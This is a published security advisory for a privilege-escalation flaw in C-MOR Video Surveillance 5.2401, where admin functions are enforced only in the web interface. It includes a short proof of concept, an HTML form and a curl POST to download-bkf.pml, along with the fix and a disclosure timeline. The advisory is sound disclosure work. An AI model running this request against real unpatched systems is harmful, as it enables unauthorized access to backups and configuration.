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C-MOR Video Surveillance 5.2401 Improper Access Control

C-MOR Video Surveillance version 5.2401 suffers from an improper access control privilege escalation vulnerability that allows for a lower privileged user to access administrative functions.

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Advisory ID: SYSS-2024-024
Product: C-MOR Video Surveillance
Manufacturer: za-internet GmbH
Affected Version(s): 5.2401
Tested Version(s): 5.2401
Vulnerability Type: Improper Access Control (CWE-284)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2024-04-05
Solution Date: 2024-07-31
Public Disclosure: 2024-09-04
CVE Reference: CVE-2024-45170
Authors of Advisory: Chris Beiter, Frederik Beimgraben,
and Matthias Deeg


Overview:

The software product C-MOR is an IP video surveillance system.

The manufacturer describes the product as follows:

"With C-MOR video surveillance, it is possible to check your  
surveillance over network and the Internet. You can access the live  
view as well as previous recordings from any PC or mobile device.  
C-MOR is managed and controlled over the C-MOR web interface.  
IP settings, camera recording setup, user rights and so on are set  
over the web without the installation of any software on the  
client."[1]

Due to improper or missing access control, low-privileged users can  
use administrative functions of the C-MOR web interface.

Vulnerability Details:

By analyzing the C-MOR web interface, it was found that different
functions are only available to administrative users.

However, access to those functions is restricted via the web application
user interface and not checked on the server side.

Thus, by sending corresponding HTTP requests to the web server of the
C-MOR web interface, low-privileged users can also use administrative
functionality, for instance downloading backup files or changing
configuration settings.


Proof of Concept (PoC):

In this example, a low-privileged user downloads backup files by  
directly sending a corresponding HTTP POST request to the page  
"download-bkf.pml".

For this, the following HTML code can be used:

<html>  
     <body>  
         <form action="https://<HOST>/download-bkf.pml" method="POST">  
             <input type="text" name="bkf" value="" placeholder="Please   
insert the file name." /><br>  
             <input type="submit" value="Download">  
         </form>  
     </body>  
</html>

This PoC attack can also be performed using the following curl command:

curl -X POST -d '<FILENAME>' --user '<USERNAME:PASSWORD>' --ciphers   
'DEFAULT:!DH' https://<HOST>/download-bkf.pml

Solution:

Install C-MOR Video Surveillance version 6.00PL1.


Disclosure Timeline:

2024-04-05: Vulnerability reported to manufacturer  
2024-04-05: Manufacturer acknowledges receipt of security advisories  
2024-04-08: Exchange regarding security updates and disclosure timeline  
2024-05-08: Further exchange concerning security updates and disclosure  
             timeline; public release of all security advisories  
             scheduled for release of C-MOR Video Surveillance version 6  
2024-05-10: Release of C-MOR software version 5.30 with security updates  
             for some reported security issues  
2024-07-19: E-mail to manufacturer concerning release date of C-MOR  
             Video Surveillance version 6; response with planned  
             release date of 2024-08-01  
2024-07-30: E-mail from manufacturer with further information  
             concerning security fixes  
2024-07-31: Release of C-MOR software version 6.00PL1  
2024-09-04: Public release of security advisory

References:

[1] Product website for C-MOR Video Surveillance
https://www.c-mor.com/
[2] SySS Security Advisory SYSS-2024-024

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-024.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy/


Credits:

This security vulnerability was found by Chris Beiter, Frederik  
Beimgraben.

Disclaimer:

The information provided in this security advisory is provided “as is”
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.


Copyright:

Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en

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